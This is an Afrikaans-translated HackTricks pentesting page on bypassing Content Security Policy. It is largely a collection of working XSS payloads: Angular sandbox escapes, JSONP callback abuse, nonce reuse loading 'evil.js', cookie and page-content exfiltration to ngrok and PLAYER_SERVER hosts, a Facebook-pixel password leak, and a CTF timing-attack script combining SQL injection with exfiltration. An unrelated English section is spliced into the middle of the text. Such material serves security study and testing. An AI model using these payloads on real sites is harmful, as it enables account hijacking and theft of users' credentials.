hacktricks/pentesting-web/content-security-policy-csp-bypass
2024-06-05 13:49:59 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-06-05 13:49:59 +00:00

Inhoudsbeveiligingsbeleid (CSP) Bypass

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hakinsigte
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hak bevat

Haknuus in Werklikheid
Bly op hoogte van die snelveranderende hakwêreld deur werklikheidsnuus en insigte

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Wat is CSP

Inhoudsbeveiligingsbeleid (CSP) word erken as 'n webblaaitegnologie, hoofsaaklik gemik op beskerming teen aanvalle soos kruissite-skripsing (XSS). Dit werk deur paaie en bronne te definieer en te beskryf waarvandaan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne sluit 'n verskeidenheid elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van string-kode deur funksies soos eval, setTimeout, of setInterval.

Implementering van CSP word gedoen deur responskoppe of deur meta-elemente in die HTML-bladsy in te sluit. Volgens hierdie beleid dwing blaaier aktief hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.

  • Geïmplementeer via responskop:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Geïmplementeer via meta-tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Opdraggewers

CSP kan afgedwing of gemonitor word met behulp van hierdie opdraggewers:

  • Content-Security-Policy: Dwings die CSP af; die webblaaier blokkeer enige oortredings.
  • Content-Security-Policy-Report-Only: Word gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in voor-produksie-omgewings.

Definiëring van Hulpbronne

CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, en beheer aspekte soos die uitvoering van inline JavaScript en die gebruik van eval(). 'n Voorbeeldbeleid is:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Riglyne

  • script-src: Laat spesifieke bronne toe vir JavaScript, insluitend URL's, inline skripte, en skripte wat geaktiveer word deur gebeurtenishanterings of XSLT-stylblaaie.
  • default-src: Stel 'n verstekbeleid in vir die ophaal van hulpbronne wanneer spesifieke ophaalriglyne afwesig is.
  • child-src: Spesifiseer toegelate bronne vir webwerkers en ingeslote raaminhoud.
  • connect-src: Beperk URL's wat gelaai kan word deur koppelvlakke soos fetch, WebSocket, XMLHttpRequest.
  • frame-src: Beperk URL's vir rame.
  • frame-ancestors: Spesifiseer watter bronne die huidige bladsy kan insluit, van toepassing op elemente soos <frame>, <iframe>, <object>, <embed>, en <applet>.
  • img-src: Definieer toegelate bronne vir afbeeldings.
  • font-src: Spesifiseer geldige bronne vir letterstyle wat gelaai word met @font-face.
  • manifest-src: Definieer toegelate bronne van aansoek-manifeslêers.
  • media-src: Definieer toegelate bronne vir die laai van media-voorwerpe.
  • object-src: Definieer toegelate bronne vir <object>, <embed>, en <applet> elemente.
  • base-uri: Spesifiseer toegelate URL's vir die laai met behulp van <base> elemente.
  • form-action: Lys geldige eindpunte vir vormindienings.
  • plugin-types: Beperk mime-tipes wat 'n bladsy mag aanroep.
  • upgrade-insecure-requests: Gee browsers opdrag om HTTP-URL's na HTTPS te herskryf.
  • sandbox: Pas beperkings toe soortgelyk aan die sandbokskenmerk van 'n <iframe>.
  • report-to: Spesifiseer 'n groep na wie 'n verslag gestuur sal word as die beleid oortree word.
  • worker-src: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker-skripte.
  • prefetch-src: Spesifiseer geldige bronne vir hulpbronne wat gelaai of voorafgelaai sal word.
  • navigate-to: Beperk die URL's waarna 'n dokument kan navigeer op enige manier (a, vorm, window.location, window.open, ens.)

Bronne

  • *: Laat alle URL's toe behalwe dié met data:, blob:, filesystem: skemas.
  • 'self': Laat laai vanaf dieselfde domein toe.
  • 'data': Laat hulpbronne toe om gelaai te word via die data-skema (bv., Base64-geënkripteer afbeeldings).
  • 'none': Blokkeer laai vanaf enige bron.
  • 'unsafe-eval': Laat die gebruik van eval() en soortgelyke metodes toe, nie aanbeveel vir veiligheidsredes nie.
  • 'unsafe-hashes': Stel spesifieke inline gebeurtenishanterings in staat.
  • 'unsafe-inline': Laat die gebruik van inline hulpbronne soos inline <script> of <style> toe, nie aanbeveel vir veiligheidsredes nie.
  • 'nonce': 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (eenmalige nommer) gebruik.
  • As jy JS beperkte uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met doc.defaultView.top.document.querySelector("[nonce]") en dit dan hergebruik om 'n skadelike skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, so dit is nie nodig nie), soos in:
Laai skrip deur nonce te hergebruik ```html ```
  • 'sha256-<hash>': Witlys skripte met 'n spesifieke sha256-hash.
  • 'strict-dynamic': Laat skripte van enige bron toe as dit deur 'n nonce of hash op die witlys geplaas is.
  • 'host': Spesifiseer 'n spesifieke gasheer, soos example.com.
  • https:: Beperk URL's tot dié wat HTTPS gebruik.
  • blob:: Laat hulpbronne toe om van Blob-URL's (bv., Blob-URL's wat deur JavaScript geskep is) gelaai te word.
  • filesystem:: Laat hulpbronne toe om van die lêersisteem gelaai te word.
  • 'report-sample': Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
  • 'strict-origin': Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige bronne kan hulpbronne van veilige bronne laai).
  • 'strict-origin-when-cross-origin': Stuur volledige URL's wanneer dieselfde-oorsprong-aanvrae gedoen word, maar stuur slegs die oorsprong wanneer die aanvraag kruis-oorsprong is.
  • 'unsafe-allow-redirects': Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie, aangesien dit die sekuriteit verswak.

Onveilige CSP-reëls

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

{% hint style="danger" %} Dit werk nie, vir meer inligting kyk hierdie. {% endhint %}

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Werkende lading:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

streng-dinamies

Indien jy op een of ander manier kan bewerkstellig dat toegelate JS-kode 'n nuwe skriptag in die DOM met jou JS-kode skep, sal die nuwe skriptag toegelaat word om uitgevoer te word.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Werkende lading:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Gebrek aan object-src en default-src

{% hint style="danger" %} Dit lyk nie meer of dit werk nie {% endhint %}

Content-Security-Policy: script-src 'self' ;

Werkende lading:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Lêeroplaai + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Indien jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:

Werkende lading:

"/>'><script src="/uploads/picture.png.js"></script>

Egter, dit is baie waarskynlik dat die bediener die opgelaaide lêer valideer en slegs sal toelaat dat jy 'n bepaalde tipe lêers oplaai.

Verder, selfs as jy 'n JS-kode binne 'n lêer kon oplaai deur 'n aanvaarde uitbreiding deur die bediener te gebruik (soos: script.png), sal dit nie genoeg wees nie omdat sommige bedieners soos Apache-bedieners die MIME-tipe van die lêer kies op grond van die uitbreiding en webblaaier soos Chrome sal weier om Javascript-kode uit te voer binne iets wat 'n beeld behoort te wees. "Hopelik" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat Apache nie weet van die .wave uitbreiding nie, daarom bedien dit dit nie met 'n MIME-tipe soos audio/* nie.

Vanaf hier, as jy 'n XSS en 'n lêeroplaai vind, en jy slaag daarin om 'n verkeerd geïnterpreteerde uitbreiding te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n poliglote (enkele poliglote voorbeelde hier).

Vorm-aksie

Indien dit nie moontlik is om JS in te spuit nie, kan jy steeds probeer om byvoorbeeld geloofsbriewe te eksfiltreer deur 'n vormaksie in te spuit (en miskien wagwoordbestuurders te verwag om wagwoorde outomaties in te vul). Jy kan 'n voorbeeld in hierdie verslag vind. Let ook daarop dat default-src nie vormaksies dek nie.

Derdeparty-eindpunte + ('unsafe-eval')

{% hint style="warning" %} Vir sommige van die volgende lading is unsafe-eval selfs nie nodig nie. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Laai 'n kwesbare weergawe van Angular en voer willekeurige JS uit:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Ladingstukke wat Angular + 'n biblioteek met funksies wat die window-objek teruggee, gebruik (kyk na hierdie pos):

{% hint style="info" %} Die pos toon dat jy alle biblioteke van cdn.cloudflare.com (of enige ander toegelate JS-biblioteek-opslag) kan laai, alle bygevoegde funksies van elke biblioteek kan uitvoer, en kan nagaan watter funksies van watter biblioteke die window-objek teruggee. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS vanaf 'n klasnaam:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Misbruik van Google reCAPTCHA JS-kode

Volgens hierdie CTF-verslag kan jy https://www.google.com/recaptcha/ binne 'n CSP misbruik om willekeurige JS-kode uit te voer wat die CSP omseil:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Meer lading van hierdie skryfstuk:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Misbruik van www.google.com vir oop omleiding

Die volgende URL rig na example.com (van hier):

https://www.google.com/amp/s/example.com/

Derde Party Eindpunte + JSONP

Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang in 'n bladsy binne script.google.com. Soos dit gedoen word in hierdie verslag.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Bypassing CSP with JSONP

Situasies soos hierdie waar script-src ingestel is op self en 'n spesifieke domein wat op die witlys is, kan omseil word deur JSONP te gebruik. JSONP-eindpunte maak onveilige terugroepmetodes moontlik wat 'n aanvaller in staat stel om XSS uit te voer, werkende lading:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee bevat gereed om te gebruik JSONP eindpunte vir CSP omleiding van verskillende webwerwe.

Dieselfde kwesbaarheid sal voorkom as die vertroude eindpunt 'n Oop Omleiding bevat omdat as die aanvanklike eindpunt vertrou word, is omleidings vertrou.

Derde Party Misbruik

Soos beskryf in die volgende pos, is daar baie derde party domeine, wat dalk toegelaat word in die CSP, wat misbruik kan word om data uit te sif of JavaScript-kode uit te voer. Sommige van hierdie derde partye is:

Entiteit Toegelate Domein Vermoëns
Facebook www.facebook.com, *.facebook.com Uitsif
Hotjar *.hotjar.com, ask.hotjar.io Uitsif
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Uitvoer
Amazon CloudFront *.cloudfront.net Uitsif, Uitvoer
Amazon AWS *.amazonaws.com Uitsif, Uitvoer
Azure Webwerwe *.azurewebsites.net, *.azurestaticapps.net Uitsif, Uitvoer
Salesforce Heroku *.herokuapp.com Uitsif, Uitvoer
Google Firebase *.firebaseapp.com Uitsif, Uitvoer

As jy enige van die toegelate domeine in die CSP van jou teiken vind, is die kanse goed dat jy die CSP kan omseil deur op die derde party-diens te registreer en óf data na daardie diens uit te sif óf kode uit te voer.

Byvoorbeeld, as jy die volgende CSP vind:

Content-Security-Policy: default-src 'self www.facebook.com;

Content Security Policy (CSP) Bypass

CSP Bypass using script-src 'unsafe-inline'

To bypass CSP using script-src 'unsafe-inline', you can use the following payload:

<script>alert('CSP Bypassed!')</script>

CSP Bypass using Data URI

To bypass CSP using a data URI, you can use the following payload:

<script src="data:text/javascript,alert('CSP Bypassed!')"></script>

CSP Bypass using nonce attribute

To bypass CSP using the nonce attribute, you need to set the nonce value in the CSP header and in the script tag:

CSP Header:

Content-Security-Policy: script-src 'nonce-RANDOM_VALUE'

Script Tag:

<script nonce="RANDOM_VALUE">alert('CSP Bypassed!')</script>
Content-Security-Policy: connect-src www.facebook.com;
  1. Skep 'n Facebook-ontwikkelaarsrekening hier.
  2. Skep 'n nuwe "Facebook-aanmelding" -toep en kies "Webwerf".
  3. Gaan na "Instellings -> Basies" en kry jou "Toep-ID".
  4. Op die teikensite waarvandaan jy data wil eksfiltreer, kan jy data eksfiltreer deur direk die Facebook SDK-toestel "fbq" te gebruik deur 'n "customEvent" en die datapakket.
  5. Gaan na jou Toep "Gebeurtenisbestuurder" en kies die aansoek wat jy geskep het (let wel dat die gebeurtenisbestuurder gevind kan word in 'n URL soortgelyk aan hierdie: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Kies die lêer "Toetsgebeurtenisse" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.

Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook-spoorpixel te inisieer om na die aanvaller se Facebook-ontwikkelaarsrekeningstoep-ID te wys en 'n aangepaste gebeurtenis uit te reik soos hierdie:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Omgang via RPO (Relatiewe Pad Overskrywing)

Benewens die voorafgenoemde omleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relatiewe Pad Overskrywing (RPO) wat op sommige bedieners gebruik kan word.

Byvoorbeeld, as CSP die pad https://example.com/scripts/react/ toelaat, kan dit so omseil word:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Die browser sal uiteindelik https://example.com/scripts/angular/angular.js laai.

Dit werk omdat vir die browser, laai jy 'n lêer genaamd ..%2fangular%2fangular.js wat geleë is onder https://example.com/scripts/react/, wat voldoen aan CSP.

Dus, sal hulle dit ontsluit, effektief versoek https://example.com/scripts/react/../angular/angular.js, wat gelykstaande is aan https://example.com/scripts/angular/angular.js.

Deur hierdie inkonsekwentheid in URL-interpretasie tussen die browser en die bediener uit te buit, kan die padreëls omseil word.

Die oplossing is om %2f nie as / aan die kant van die bediener te hanteer nie, om sodoende 'n konsekwente interpretasie tussen die browser en die bediener te verseker om hierdie probleem te vermy.

Aanlyn Voorbeeld: https://jsbin.com/werevijewa/edit?html,output

Iframes JS uitvoering

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

ontbrekende base-uri

Indien die base-uri riglyn ontbreek kan jy dit misbruik om 'n dangling markup injection uit te voer.

Verder, as die bladsy 'n skrip laai deur 'n relatiewe pad te gebruik (soos <script src="/js/app.js">) deur 'n Nonce te gebruik, kan jy die base tag misbruik om dit te laat laai die skrip vanaf jou eie bediener om 'n XSS te bereik.
Indien die kwesbare bladsy met httpS gelaai word, maak gebruik van 'n httpS-url in die basis.

<base href="https://www.attacker.com/">

AngularJS gebeure

'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) mag JavaScript-gebeure beperk. Nietemin, AngularJS stel aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis bied AngularJS 'n unieke objek $event, wat verwys na die inheemse blaaiergebeurtenisobjek. Hierdie $event objek kan benut word om die CSP te omseil. Merkwaardig, in Chrome, besit die $event/event objek 'n path eienskap, wat 'n objekreeks bevat wat betrokke is by die gebeurtenis se uitvoerketting, met die window objek wat onveranderlik aan die einde geplaas word. Hierdie struktuur is noodsaaklik vir sandputontsnappingstaktieke.

Deur hierdie reeks na die orderBy filter te rig, is dit moontlik om daaroor te itereer, waardeur die terminalelement (die window objek) benut kan word om 'n globale funksie soos alert() te aktiveer. Die gedemonstreerde kodefragment hieronder verduidelik hierdie proses:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Hierdie snipper lig die gebruik van die ng-focus riglyn uit om die gebeurtenis te trigger, deur $event.path|orderBy te gebruik om die path-array te manipuleer, en deur die window-objek te benut om die alert()-funksie uit te voer, en sodoende document.cookie bloot te lê.

Vind ander Angular omleidings in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS en toegelate domein

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

'n CSP-beleid wat domeine vir skriplading in 'n Angular JS-toepassing op 'n witlys plaas, kan omseil word deur die aanroeping van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek is beskikbaar in 'n gedetailleerde gids op hierdie git-opgaarplek.

Werkende lading:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Ander JSONP-willekeurige uitvoerpunte kan gevind word in hier (van hulle is verwyder of reggemaak)

Omgang via Herleiing

Wat gebeur wanneer CSP kantoorserverherleiing teëkom? As die herleiing na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.

Tog, volgens die beskrywing in CSP spes 4.2.2.3. Paaie en Herleidings, as die herleiing na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.

Hier is 'n voorbeeld:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Indien CSP ingestel is op https://www.google.com/a/b/c/d, aangesien die pad oorweeg word, sal beide /test en /a/test skripte deur CSP geblokkeer word.

Nietemin, die finale http://localhost:5555/301 sal op die bedienerkant na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// omgelei word. Aangesien dit 'n omleiding is, word die pad nie oorweeg nie, en kan die skrip gelaai word, wat dus die padbeperking omseil.

Met hierdie omleiding, selfs al is die pad volledig gespesifiseer, sal dit steeds omseil word.

Daarom is die beste oplossing om te verseker dat die webwerf geen oop omleidingskwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word.

Omseil CSP met bengelende opmaak

Lees hoe hier.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en img-src * beteken dat jy enige beeld van enige bron op die webbladsy kan gebruik.

Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en onttrek die vlag via 'n beeld):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Vanaf: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Jy kan ook hierdie konfigurasie misbruik om javascript-kode wat binne 'n afbeelding ingevoeg is te laai. As byvoorbeeld die bladsy laai van afbeeldings van Twitter toelaat. Jy kan 'n spesiale afbeelding skep, dit na Twitter oplaai en die "unsafe-inline" misbruik om 'n JS-kode (soos 'n gewone XSS) uit te voer wat die afbeelding laai, die JS daaruit onttrek en dit uitvoer: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Met Dienswerkers

Dienswerkers se importScripts-funksie is nie beperk deur CSP nie:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Beleidsinspuiting

Navorsing: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

As 'n parameter wat deur jou gestuur word binne die verklaring van die beleid geplak word, kan jy die beleid op 'n manier verander wat dit nutteloos maak. Jy kan skrips toelaat 'unsafe-inline' met enige van hierdie omseilings:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Omdat hierdie riglyn die bestaande script-src riglyne sal owerwrite.
Jy kan 'n voorbeeld hier vind: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Rand

In Rand is dit baie eenvoudiger. As jy net hierdie kan byvoeg in die CSP: ;_ Rand sou die hele beleid laat val.
Voorbeeld: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Tyd aanval

Let op die afwesigheid van die riglyn 'unsafe-inline'
Hierdie keer kan jy die slagoffer **'n bladsy in jou beheer laat laai via XSS met 'n <iframe. Hierdie keer gaan jy die slagoffer die bladsy laat besoek van waar jy inligting wil onttrek (CSRF). Jy kan nie die inhoud van die bladsy besoek nie, maar as jy op een of ander manier die tyd kan beheer wat die bladsy neem om te laai kan jy die inligting onttrek wat jy nodig het.

Hierdie keer gaan 'n vlag onttrek word, telkens wanneer 'n karakter korrek gegok word via SQLi neem die reaksie langer tyd as gevolg van die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Boekmerklets

Hierdie aanval sou 'n bietjie sosiale manipulasie impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die boekmerklet van die webblaaier te sleep en los. Hierdie boekmerklet sou skadelike javascript-kode bevat wat uitgevoer sou word in die konteks van die huidige web-venster, wat CSP omseil en toelaat om sensitiewe inligting soos koekies of tokens te steel.

Vir meer inligting kyk na die oorspronklike verslag hier.

CSP omseiling deur CSP te beperk

In hierdie CTF-verslag, word CSP omseil deur binne 'n toegelate ifram 'n meer beperkende CSP in te spuit wat verhoed dat 'n spesifieke JS-lêer gelaai word wat dan, via prototipe besoedeling of dom-verstoring, toegelaat het om 'n ander skrips te misbruik om 'n willekeurige skrips te laai.

Jy kan 'n CSP van 'n Iframe beperk met die csp-kenmerk:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

In hierdie CTF writeup, was dit moontlik deur HTML inspuiting om meer te beperk 'n CSP sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en gevolglik die kwesbaarheid vatbaar geword het.
CSP kan meer beperkend gemaak word deur HTML meta-tukke en inline-skripte kan gedeaktiveer word deur die verwydering van die inskrywing wat hulle nonce toelaat en spesifieke inline-skrip aktiveer via sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS uitlekking met Inhoudsbeveiligingsbeleid-Rapport-Slegs

As jy kan slaag om die bediener te laat antwoord met die kop Content-Security-Policy-Report-Only met 'n waarde wat deur jou beheer word (miskien as gevolg van 'n CRLF), kan jy dit jou bediener laat aandui en as jy die JS-inhoud wat jy wil uitlek met <script> omhul en omdat dit baie waarskynlik is dat unsafe-inline nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal gestuur word na die bediener vanaf Content-Security-Policy-Report-Only.

Vir 'n voorbeeld kyk na hierdie CTF-skryfstuk.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Inligting wat uitlek met CSP en Iframe

  • 'n iframe word geskep wat na 'n URL wys (ons noem dit https://example.redirect.com) wat toegelaat word deur CSP.
  • Hierdie URL verwys dan na 'n geheime URL (bv., https://usersecret.example2.com) wat nie toegelaat word deur CSP nie.
